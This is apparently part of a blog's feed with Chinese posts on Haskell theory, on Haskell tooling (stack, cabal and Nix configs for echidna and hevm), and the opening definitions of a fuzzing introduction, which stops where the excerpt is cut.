      <![CDATA[<blockquote><ol class="series-items"><li><a href="/fp/FP-haskell-1/" title="Haskell(一)入门">Haskell(一)入门</a></li><li><a href="/fp/FP-haskell-2/" title="Haskell(二)函数式编程">Haskell(二)函数式编程</a></li><li><a href="/fp/monad/" title="Haskell(三) Monad">Haskell(三) Monad</a></li><li><a href="/fp/Haskell-summary-toolchain/" title="Haskell(四)总结和工具链">Haskell(四)总结和工具链</a></li><li><a href="/fp/Haskell-epilogue/" title="Haskell(五) 总结和展望">Haskell(五) 总结和展望</a></li><li><a href="/fp/project-euler/" title="Haskell(六) Project Euler 练习1-26">Haskell(六) Project Euler 练习1-26</a></li></ol></blockquote><p>随着我们深入 Haskell 的世界，我们发现它不仅仅是一种编程语言，而是一种带有丰富理论背景的编程范式。Haskell 的设计思想深植于函数式编程的根基，与 Lambda 演算和范畴论紧密相连，体现了逻辑和数学的美学。</p><ol><li><p>Monad：结构化的复杂性管理<br>在 Haskell 中，Monad 的概念封装了一个层次结构，允许我们在一个定义良好的域内进行操作。Monad 提供了一种方式来构建层次化的结构，支持层次之间的转换。通过 Monad，可以利用自定义的规则进行快速错误处理，无需在每一步都进行错误处理。特别是在 Haskell 中，Monad 以顺序方式组合复杂函数，使不确定的结果、副作用、异常处理都可以通过 Monad 的统一接口进行管理。更进一步，Monad 在程序分析中扮演了重要角色，尤其是在构建抽象解释器和进行静态分析时，处理程序状态的变化。</p></li><li><p>Haskell 的类型系统：参数多态性的优雅<br>与 Java 或 C# 中的接口和常见的泛型不同，Haskell 的类型系统采用了参数多态性。这一机制通过类型推导在编译时实现类型替换，提供了一种更灵活、更精确的多态实现方式。Haskell 中的参数实际上是类型，它们可以携带具体的值，为表达式和类型转换提供了理论基础。从 GHC.Prim 开始，通过类型构造（data）和类型类（typeclass）的逐步构建，Haskell 形成了一个严格和富有创意的类型系统。</p></li><li><p>Lambda 演算和类型推导<br>Lambda 演算不仅是函数式编程的理论基础，而且是 Haskell 类型推导的核心。多态 Lambda 演算（如二阶 Lambda 演算）直接影响了 Haskell 的类型类和类型推理机制。这种关系深化了我们对于类型类如何在 Haskell 中实现多态的理解。</p></li><li><p>范畴论：构建复杂的函数组合<br>Haskell 借鉴了范畴论中的数学模型，如 Monad、Functor 和 Applicative，来实现函数组合和数据流的组织。这些概念不仅提供了一种强大的抽象机制，还使得函数组合和数据流处理更加模块化和灵活。</p></li></ol><p>结语：<br>通过 Haskell，我们不仅学习了一种编程语言，还接触到了一系列深奥的理论概念，这些概念为我们提供了一个全新的视角来看待问题解决和软件设计。Haskell 的学习之旅充满了挑战，但也同样充满了启发。无论是探索 Lambda 演算的深层原理，还是理解如何通过范畴论的抽象来指导函数组合和数据流的处理，Haskell 都为我们打开了通往更深层次理解的大门。<br>最后留着问题，有时间的时候可以看看，欢迎交流：</p><ol><li>Lambda 演算是什么，如何用多态 Lambda 演算来进行类型推导。它和 typeclass 有什么关系。</li><li>为什么采用 Monad、Functor 和 Applicative 这些范畴论的数学模型，来进行函数组合和数据流组合。</li></ol>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/fp/Haskell-epilogue/</id>
    <link href="https://www.blog-blockchain.xyz/fp/Haskell-epilogue/"/>
    <published>2024-01-09T17:02:33.000Z</published>
    <summary>Haskell学习之旅的总结与展望，探讨Monad的复杂性管理、类型系统的参数多态性、Lambda演算与范畴论的理论基础及其在函数式编程中的应用。</summary>
    <title>Haskell(五) 总结和展望</title>
    <updated>2026-02-19T16:18:01.154Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="functional language" scheme="https://www.blog-blockchain.xyz/categories/functional-language/"/>
    <category term="Haskell" scheme="https://www.blog-blockchain.xyz/tags/Haskell/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/fp/FP-haskell-1/" title="Haskell(一)入门">Haskell(一)入门</a></li><li><a href="/fp/FP-haskell-2/" title="Haskell(二)函数式编程">Haskell(二)函数式编程</a></li><li><a href="/fp/monad/" title="Haskell(三) Monad">Haskell(三) Monad</a></li><li><a href="/fp/Haskell-summary-toolchain/" title="Haskell(四)总结和工具链">Haskell(四)总结和工具链</a></li><li><a href="/fp/Haskell-epilogue/" title="Haskell(五) 总结和展望">Haskell(五) 总结和展望</a></li><li><a href="/fp/project-euler/" title="Haskell(六) Project Euler 练习1-26">Haskell(六) Project Euler 练习1-26</a></li></ol></blockquote><h2 id="总结">总结</h2><ul><li>安装方式：<a href="https://www.haskell.org/ghcup/">https://www.haskell.org/ghcup/</a> 这是最推荐的安装方式，建议都安装上。</li><li>特性介绍：<a href="https://www.haskell.org/">https://www.haskell.org/</a></li><li>如何入门：<ul><li>理解基础规则，比如不可变性、绑定、递归</li><li>学完基本语法，包括列表、元组、类型、模式匹配、Guard 写法、where 用法、let … in 用法、case … of 用法、<code>@</code> 用法；</li><li>理解函数的类型签名</li><li>函数柯里化和 folder、map、zip、filter 等高阶函数、lambda 表达式；</li><li><code>$</code> <code>.</code> 的用法</li><li>递归的写法习惯</li><li>模块和导出，</li><li>语言拓展</li><li>Data 库中的 List、Char、Map、Set。一些对应的常见操作 ，比如列表的 <code>take</code> <code>drop</code> <code>sum</code> <code>takeWhile</code> <code>group</code> 等，可以等用到再查。</li><li>data 自定义类型（包括 product type 和 sum type 和类似泛型的 polymorphic types）；从 Maybe、Either 理解 Kind 和多态类型，从而认识到 List 的实现；type 设置别名和 newtype 设置全新类型、</li><li>类型类和类型类继承 deriving，实例 instance、</li><li>一些特殊类型类(typeclass) Functor 和 fmap、Applicative 和 <code>&lt;*&gt;</code> 、Monad 和<code>&gt;&gt;=</code></li><li>之后就是工程经验和 IO 了，在实际中慢慢积累吧。</li></ul></li><li>入门路径：<ul><li>视频课程：<a href="https://github.com/haskell-beginners-2022/course-plan">https://github.com/haskell-beginners-2022/course-plan</a></li><li>前几章学基础：<a href="https://rwh.readthedocs.io/en/latest/">https://rwh.readthedocs.io/en/latest/</a></li><li>我的入门参考博客：<a href="https://blog-blockchain.xyz/pl/FP-haskell-1/">https://blog-blockchain.xyz/pl/FP-haskell-1/</a> (有 1 到 3 章)</li><li>跟着动手写练习：<a href="https://github.com/kowainik/learn4haskell/tree/main">https://github.com/kowainik/learn4haskell/tree/main</a></li><li>趣学指南：<a href="https://flaneur2020.github.io/lyah/chapters.htm">https://flaneur2020.github.io/lyah/chapters.htm</a></li></ul></li><li>Haskell 生态速览：<a href="https://github.com/Gabriella439/post-rfc/blob/main/sotu.md">https://github.com/Gabriella439/post-rfc/blob/main/sotu.md</a></li></ul><h2 id="工具链">工具链</h2><h3 id="stack">stack</h3><p><a href="https://docs.haskellstack.org/en/stable/">stack</a> 非常常用的工具链，它有很多 snapshot，把一些特定版本的库，都集成在这个 snapshot 里，然后要编译时，就会自动拉取这些库。这样就提供了可以复现的环境。除此之外，还可以自定义依赖。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">resolver: lts-21.17</span><br><span class="line"></span><br><span class="line">packages:</span><br><span class="line">- &#x27;.&#x27;</span><br><span class="line"></span><br><span class="line">extra-deps:</span><br><span class="line">- git: https://github.com/ethereum/hevm.git</span><br><span class="line">  commit: 91d906b6593f2ba74748fff9a7d34eadf1980ceb</span><br><span class="line"></span><br><span class="line">- restless-git-0.7@sha256:346a5775a586f07ecb291036a8d3016c3484ccdc188b574bcdec0a82c12db293,968</span><br><span class="line">- s-cargot-0.1.4.0@sha256:61ea1833fbb4c80d93577144870e449d2007d311c34d74252850bb48aa8c31fb,3525</span><br><span class="line"></span><br><span class="line">extra-include-dirs:</span><br><span class="line">  - /home/learner/.local/include</span><br><span class="line">extra-lib-dirs:</span><br><span class="line">  - /home/learner/.local/lib</span><br></pre></td></tr></table></figure><p>比如上面使用了 <code>lts-21.17</code> 的环境，所有的 snapshot 可以在 <a href="https://www.stackage.org/">stackage</a> 中查看。其他的是额外的依赖、额外的库，这里是 hevm 依赖了一些 C/CPP 写的密码学库。</p><p><code>stack path --stack-root</code> 中就能查看到 stack 的存储位置，目录结构如下图所示。可以看到 <code>config.yaml</code> 是全局的配置，如果缺少项目的配置文件，就默认选择全局的，否则优先项目的配置。</p><p>在开发中，为了使用 stack 的环境，需要在命令前加 stack，比如说</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">stack ghc -- -O2 -o main</span><br><span class="line">stack ghci</span><br></pre></td></tr></table></figure><p>stack 会自动加载依赖，然后 <code>--</code> 之后是传给 <code>runghc</code> 的参数，优化等级 2 然后编译成可执行文件 main。</p><p>另外 stack 可以自己安装一些可执行文件。</p><p>另外需要注意的是，在较新的版本中，我们一般不直接编辑<code>stack.yam</code>配置，而是有个 <code>package.yaml</code> 作为配置文件，然后会自动生成 stack 和 cabal 的配置文件。<code>package.yaml</code> 中定义了依赖、语言标准、默认语言拓展、库目录、可执行文件的配置和测试的配置。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line">name: echidna</span><br><span class="line"></span><br><span class="line">author: Trail of Bits &lt;echidna-dev@trailofbits.com&gt;</span><br><span class="line">maintainer: Trail of Bits &lt;echidna-dev@trailofbits.com&gt;</span><br><span class="line"></span><br><span class="line">version: 2.2.1</span><br><span class="line"></span><br><span class="line">## https://github.com/haskell/cabal/issues/4739</span><br><span class="line">ghc-options: -Wall -fno-warn-orphans -O2 -optP-Wno-nonportable-include-path</span><br><span class="line"></span><br><span class="line">dependencies:</span><br><span class="line">  - base</span><br><span class="line">  - aeson</span><br><span class="line">  - base16-bytestring</span><br><span class="line">  - binary</span><br><span class="line">  - bytestring</span><br><span class="line">  - code-page</span><br><span class="line">  - containers</span><br><span class="line">  - data-bword</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">language: GHC2021</span><br><span class="line"></span><br><span class="line">default-extensions:</span><br><span class="line">  - DuplicateRecordFields</span><br><span class="line">  - LambdaCase</span><br><span class="line">  - MultiWayIf</span><br><span class="line">  - NoFieldSelectors</span><br><span class="line">  - OverloadedLabels</span><br><span class="line">  - OverloadedRecordDot</span><br><span class="line">  - OverloadedStrings</span><br><span class="line"></span><br><span class="line">library:</span><br><span class="line">  source-dirs: lib/</span><br><span class="line"></span><br><span class="line">when:</span><br><span class="line">  - condition: &quot;!os(windows)&quot;</span><br><span class="line">    cpp-options: -DINTERACTIVE_UI</span><br><span class="line">    dependencies:</span><br><span class="line">      - brick</span><br><span class="line">      - unix</span><br><span class="line">      - vty</span><br><span class="line"></span><br><span class="line">executables:</span><br><span class="line">  echidna:</span><br><span class="line">    main: Main.hs</span><br><span class="line">    source-dirs: src/</span><br><span class="line">    dependencies: echidna</span><br><span class="line">    ghc-options: -threaded -with-rtsopts=-N</span><br><span class="line">    when:</span><br><span class="line">      - condition: (os(linux) || os(windows)) &amp;&amp; flag(static)</span><br><span class="line">        ghc-options:</span><br><span class="line">          - -optl-static</span><br><span class="line">      - condition: os(linux) || os(windows)</span><br><span class="line">        ghc-options:</span><br><span class="line">          - -O2</span><br><span class="line">          - -optl-pthread</span><br><span class="line">      - condition: os(darwin)</span><br><span class="line">        extra-libraries: c++</span><br><span class="line">        ld-options: -Wl,-keep_dwarf_unwind</span><br><span class="line">        ghc-options: -fcompact-unwind</span><br><span class="line">      - condition: os(windows) &amp;&amp; impl(ghc &gt;= 9.4)</span><br><span class="line">        dependencies: system-cxx-std-lib</span><br><span class="line">      - condition: os(windows) &amp;&amp; impl(ghc &lt; 9.4)</span><br><span class="line">        extra-libraries: stdc++</span><br><span class="line"></span><br><span class="line">tests:</span><br><span class="line">  echidna-testsuite:</span><br><span class="line">    main: Spec.hs</span><br><span class="line">    source-dirs: src/test</span><br><span class="line">    dependencies:</span><br><span class="line">      - echidna</span><br><span class="line">      - tasty</span><br><span class="line">      - tasty-hunit</span><br><span class="line">      - tasty-quickcheck</span><br><span class="line">    when:</span><br><span class="line">        - condition: (os(linux) || os(windows)) &amp;&amp; flag(static)</span><br><span class="line">          ghc-options:</span><br><span class="line">            - -optl-static</span><br><span class="line">        - condition: os(linux) || os(windows)</span><br><span class="line">          ghc-options:</span><br><span class="line">            - -O2</span><br><span class="line">            - -optl-pthread</span><br><span class="line">        - condition: os(darwin)</span><br><span class="line">          extra-libraries: c++</span><br><span class="line">          ld-options: -Wl,-keep_dwarf_unwind</span><br><span class="line">          ghc-options: -fcompact-unwind</span><br><span class="line">        - condition: os(windows) &amp;&amp; impl(ghc &gt;= 9.4)</span><br><span class="line">          dependencies: system-cxx-std-lib</span><br><span class="line">        - condition: os(windows) &amp;&amp; impl(ghc &lt; 9.4)</span><br><span class="line">          extra-libraries: stdc++</span><br><span class="line"></span><br><span class="line">flags:</span><br><span class="line">  static:</span><br><span class="line">    description: Pass -static to ghc when linking the stack binary.</span><br><span class="line">    manual: true</span><br><span class="line">    default: false</span><br></pre></td></tr></table></figure><h3 id="cabal">cabal</h3><p>我基本不用，因为 stack 集成了它的功能，一些 haskell 工具可能会建议使用它安装。</p><h3 id="Nix">Nix</h3><p><a href="https://nixos.org/">nix</a> 是很方便的环境管理工具，但是<strong>只支持 Linux 和 MacOS</strong>，有部分项目使用 Nix 来开发。nix 自己维护着一套环境，然后进入 nix shell，就可以从优先使用 nix 的环境，从而不影响用户的环境。但是比较烦恼的是，我的编辑器无法使用 Nix 的 LSP。</p><p>主要讲 flake.nix 的管理方式，因为 hevm 是这样管理的，完整文件可见：<a href="https://github.com/ethereum/hevm/blob/ba00516bfbffcf14cf11211de94901833cb7eef2/flake.nix">https://github.com/ethereum/hevm/blob/ba00516bfbffcf14cf11211de94901833cb7eef2/flake.nix</a></p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">i<span class="attr">nputs</span> <span class="operator">=</span> &#123;</span><br><span class="line">  <span class="attr">flake-utils.url</span> <span class="operator">=</span> <span class="string">&quot;github:numtide/flake-utils&quot;</span>;</span><br><span class="line">  <span class="attr">nixpkgs.url</span> <span class="operator">=</span> <span class="string">&quot;github:nixos/nixpkgs/nixpkgs-unstable&quot;</span>;</span><br><span class="line">  <span class="attr">foundry.url</span> <span class="operator">=</span> <span class="string">&quot;github:shazow/foundry.nix/monthly&quot;</span>;</span><br><span class="line">  <span class="attr">flake-compat</span> <span class="operator">=</span> &#123;</span><br><span class="line">    <span class="attr">url</span> <span class="operator">=</span> <span class="string">&quot;github:edolstra/flake-compat&quot;</span>;</span><br><span class="line">    <span class="attr">flake</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="attr">solidity</span> <span class="operator">=</span> &#123;</span><br><span class="line">    <span class="attr">url</span> <span class="operator">=</span> <span class="string">&quot;github:ethereum/solidity/1c8745c54a239d20b6fb0f79a8bd2628d779b27e&quot;</span>;</span><br><span class="line">    <span class="attr">flake</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="attr">ethereum-tests</span> <span class="operator">=</span> &#123;</span><br><span class="line">    <span class="attr">url</span> <span class="operator">=</span> <span class="string">&quot;github:ethereum/tests/v12.2&quot;</span>;</span><br><span class="line">    <span class="attr">flake</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="attr">cabal-head</span> <span class="operator">=</span> &#123;</span><br><span class="line">    <span class="attr">url</span> <span class="operator">=</span> <span class="string">&quot;github:haskell/cabal&quot;</span>;</span><br><span class="line">    <span class="attr">flake</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">  &#125;;</span><br><span class="line">  <span class="attr">forge-std</span> <span class="operator">=</span> &#123;</span><br><span class="line">    <span class="attr">url</span> <span class="operator">=</span> <span class="string">&quot;github:foundry-rs/forge-std&quot;</span>;</span><br><span class="line">    <span class="attr">flake</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">  &#125;;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>input 定义了一串的依赖的来源，比如 foundry 是从 GitHub 的 shazow/foundry.nix 仓库的 monthly 分支拉取，而且不是 flake 应用。其他的类似。</p><p>outputs 函数里接收包 nixpkgs 和 inputs 中的参数：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">outputs = &#123; self, nixpkgs, flake-utils, solidity, forge-std, ethereum-tests, foundry, cabal-head, ... &#125;:</span><br></pre></td></tr></table></figure><p>然后在 <code>flake-utils.lib.eachDefaultSystem (system: ...)</code> 定义函数主体。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">let</span><br><span class="line">  pkgs = (import nixpkgs &#123; inherit system; config = &#123; allowBroken = true; &#125;; &#125;);</span><br></pre></td></tr></table></figure><p>导入 nix 包，设置参数，<code>system</code> 参数是当前系统架构，允许包含那些被标记为不稳定或损坏的包。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">testDeps = with pkgs; [</span><br><span class="line">  go-ethereum</span><br><span class="line">  solc</span><br><span class="line">  z3</span><br><span class="line">  cvc5</span><br><span class="line">  git</span><br><span class="line">] ++ lib.optional (!(pkgs.stdenv.isDarwin &amp;&amp; pkgs.stdenv.isAarch64)) [</span><br><span class="line">  foundry.defaultPackage.$&#123;system&#125;</span><br><span class="line">];</span><br></pre></td></tr></table></figure><p>测试的依赖包括了上面的 5 个工具，还有一个可选的工具，当系统环境不是 ARM64 架构下的 Darwin 平台时，还会引入根据 system 参数选择的 foundry。</p><p>接着定义需要的 Haskell 的包，ghc 9.4 作为默认包的集合，然后修改部分包的配置。self 是当前配置，super 是默认的父配置，rec 允许{…}里的元素相互定义。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pkgs.haskell.packages.ghc94.override &#123;</span><br><span class="line">overrides = with pkgs.haskell.lib; self: super: rec &#123;...&#125;;&#125;;</span><br></pre></td></tr></table></figure><p>覆盖的部分包括，dontCheck 不运行包的测试套件，self.callCabal2nix 这个函数为 Cabal 相关的包自动生成 Nix 表达式，比如对于 <code>cabal-install</code> 包，从定义好的来源获取，使用默认参数。doJailbreak 忽略版本限制。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">cabal-install = dontCheck (self.callCabal2nix &quot;cabal-install&quot; &quot;$&#123;cabal-head&#125;/cabal-install&quot; &#123;&#125;);</span><br><span class="line"></span><br><span class="line">cabal-install-solver = dontCheck (self.callCabal2nix &quot;cabal-install-solver&quot; &quot;$&#123;cabal-head&#125;/cabal-install-solver&quot; &#123;&#125;);</span><br><span class="line"></span><br><span class="line">unix = dontCheck (doJailbreak super.unix_2_8_1_1);</span><br><span class="line">filepath = dontCheck (doJailbreak super.filepath_1_4_100_4);</span><br><span class="line">process = dontCheck (doJailbreak super.process_1_6_17_0);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>那么简单的说，用自定义的来源重新定义了 cabal 相关的包的属性，然后一些包构建的时候不运行测试，而且忽视严格的版本限制。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">secp256k1-static = stripDylib (pkgs.secp256k1.overrideAttrs (attrs: &#123;</span><br><span class="line">  configureFlags = attrs.configureFlags ++ [ &quot;--enable-static&quot; ];</span><br><span class="line">&#125;));</span><br></pre></td></tr></table></figure><p>修改 secp256k1 库的属性，追加了生成静态库而不是动态库，用于构建完整可独立运行的软件。</p><p>开始准备构建 hevm 的参数，初始化处理流水线的参数，然后<code>()</code>里的值以此传给<code>[]</code>里的多个函数，比如第一个函数处理完，把结果传给第二个函数：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hevmUnwrapped = (with pkgs; lib.pipe (...)[..])</span><br></pre></td></tr></table></figure><p>首先从当前目录下的 <code>hevm.cabal</code> 文件，生成 nix 表达式。然后依赖 secp256k1 的 C 语言密码学库。</p><p>第一个函数修改构建时 Cabal 的参数，构建时执行测试。第二个函数把 solc 等工具依赖加入测试的依赖里。第三个函数在构建时添加 -v3，输出详细日志。后面的函数也是类似的，增加了传递给 ghc 的依赖库，编译参数等。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">(haskell.lib.compose.overrideCabal (old: &#123; testTarget = &quot;test&quot;; &#125;))</span><br><span class="line">(haskell.lib.compose.addTestToolDepends testDeps)</span><br><span class="line">(haskell.lib.compose.appendBuildFlags [&quot;-v3&quot;])</span><br><span class="line"></span><br><span class="line">(haskell.lib.compose.appendConfigureFlags (</span><br><span class="line">  [ &quot;-fci&quot;</span><br><span class="line">    &quot;-O2&quot;</span><br><span class="line">    &quot;--extra-lib-dirs=$&#123;stripDylib (pkgs.gmp.override &#123; withStatic = true; &#125;)&#125;/lib&quot;</span><br><span class="line">    &quot;--extra-lib-dirs=$&#123;stripDylib secp256k1-static&#125;/lib&quot;</span><br><span class="line">    &quot;--extra-lib-dirs=$&#123;stripDylib (libff.override &#123; enableStatic = true; &#125;)&#125;/lib&quot;</span><br><span class="line">    &quot;--extra-lib-dirs=$&#123;zlib.static&#125;/lib&quot;</span><br><span class="line">    &quot;--extra-lib-dirs=$&#123;stripDylib (libffi.overrideAttrs (_: &#123; dontDisableStatic = true; &#125;))&#125;/lib&quot;</span><br><span class="line">    &quot;--extra-lib-dirs=$&#123;stripDylib (ncurses.override &#123; enableStatic = true; &#125;)&#125;/lib&quot;</span><br><span class="line">  ]</span><br><span class="line">  ++ lib.optionals stdenv.isLinux [</span><br><span class="line">    &quot;--enable-executable-static&quot;</span><br><span class="line">    # TODO: replace this with musl: https://stackoverflow.com/a/57478728</span><br><span class="line">    &quot;--extra-lib-dirs=$&#123;glibc&#125;/lib&quot;</span><br><span class="line">    &quot;--extra-lib-dirs=$&#123;glibc.static&#125;/lib&quot;</span><br><span class="line">  ]))</span><br></pre></td></tr></table></figure><p>等等这些定义好了后，在 <code>in rec&#123;...&#125;</code> 里执行编译命令。</p><p>总而言之，Nix 提供了一种专门的语法，用于描述依赖关系和构建的参数。并且它提供了全局的且独立的工具，这样能够避免环境之间的冲突。但是可以知道，很多工具它都自己编译，可能第一次运行速度会比较慢。另外，nix shell 可能需要额外的配置，才能让 vim 等软件用上它的环境。·</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/fp/Haskell-summary-toolchain/</id>
    <link href="https://www.blog-blockchain.xyz/fp/Haskell-summary-toolchain/"/>
    <published>2024-01-08T14:01:33.000Z</published>
    <summary>Haskell学习路径总结与开发工具链介绍，包括Stack项目管理、Cabal包管理器、Nix环境管理等实用工具的配置与使用指南。</summary>
    <title>Haskell(四)总结和工具链</title>
    <updated>2026-02-19T16:18:01.155Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/categories/program-language/"/>
    <category term="program language" scheme="https://www.blog-blockchain.xyz/tags/program-language/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/pl/understanding-program-analysis/" title="（一）初识软件分析">（一）初识软件分析</a></li><li><a href="/pl/data-flow-analysis/" title="（二）数据流分析基础">（二）数据流分析基础</a></li><li><a href="/pl/LP-souffle/" title="（三）Datalog和程序分析">（三）Datalog和程序分析</a></li><li><a href="/pl/ssa-and-sparse-analysis/" title="（四）静态单赋值和稀疏分析">（四）静态单赋值和稀疏分析</a></li><li><a href="/pl/Interprocedural-DFA/" title="（五）过程间分析">（五）过程间分析</a></li><li><a href="/pl/points-to-analysis/" title="（六）指向分析">（六）指向分析</a></li><li><a href="/pl/abstract-interpretation/" title="（七）抽象解释">（七）抽象解释</a></li><li><a href="/pl/smt-and-symbolic-execution/" title="（八）SMT和符号执行">（八）SMT和符号执行</a></li><li><a href="/pl/static-analysis-tools/" title="（九）体验静态分析工具">（九）体验静态分析工具</a></li><li><a href="/pl/fuzzing-introduction/" title="（十）Fuzzing 基础">（十）Fuzzing 基础</a></li></ol></blockquote><blockquote><p>这主要是[1]的阅读总结</p></blockquote><h2 id="Fuzzing-是什么">Fuzzing 是什么</h2><p>在众多软件测试技术中，Fuzzing 因其概念的简单性、易于部署以及在发现实际软件漏洞方面的有效性而受到广泛青睐。简而言之，Fuzzing 是使用异常或非预期的输入（称为“fuzz 输入”）来运行待测试的程序（Program Under Test, PUT）的过程。这种 fuzz 输入是 PUT 可能没有预料到的，也就是说，它可能会使 PUT 处理不当，从而触发开发者未预期的行为。</p><p><strong>定义 1 (Fuzzing)</strong>：<em>Fuzzing 是指使用从所谓的“fuzz 输入空间”中抽取的输入来执行 PUT 的过程，这个输入空间超出了 PUT 的预期输入范围</em>。</p><p><strong>定义 2 (Fuzz Testing)</strong>：<em>Fuzz 测试是利用 fuzzing 来检查 PUT 是否违反了某些特定的正确性策略</em>。</p><p><strong>定义 3 (Fuzzer)</strong>：<em>Fuzzer 是进行 fuzz 测试的工具，专门用于测试 PUT</em>。</p><p><strong>定义 4 (Fuzz Campaign)</strong>：<em>Fuzz campaign 是在特定的正确性策略下，对 PUT 执行 fuzzer 的特定过程</em>。</p><p><strong>定义 5 (Bug Oracle)</strong>：<em>Bug oracle 是一个程序，有时作为 fuzzer 的一部分，用于判断 PUT 的特定执行是否违反了某个特定的正确性策略</em>。</p><p>通过这些定义，Fuzzing 作为一种测试方法提供了一种系统化和自动化的方式来探测软件中的潜在漏洞，使软件开发者能够更有效地确保软件的稳定性和安全性。</p><h3 id="通用-Fuzz-测试算法">通用 Fuzz 测试算法</h3><p>在讨论 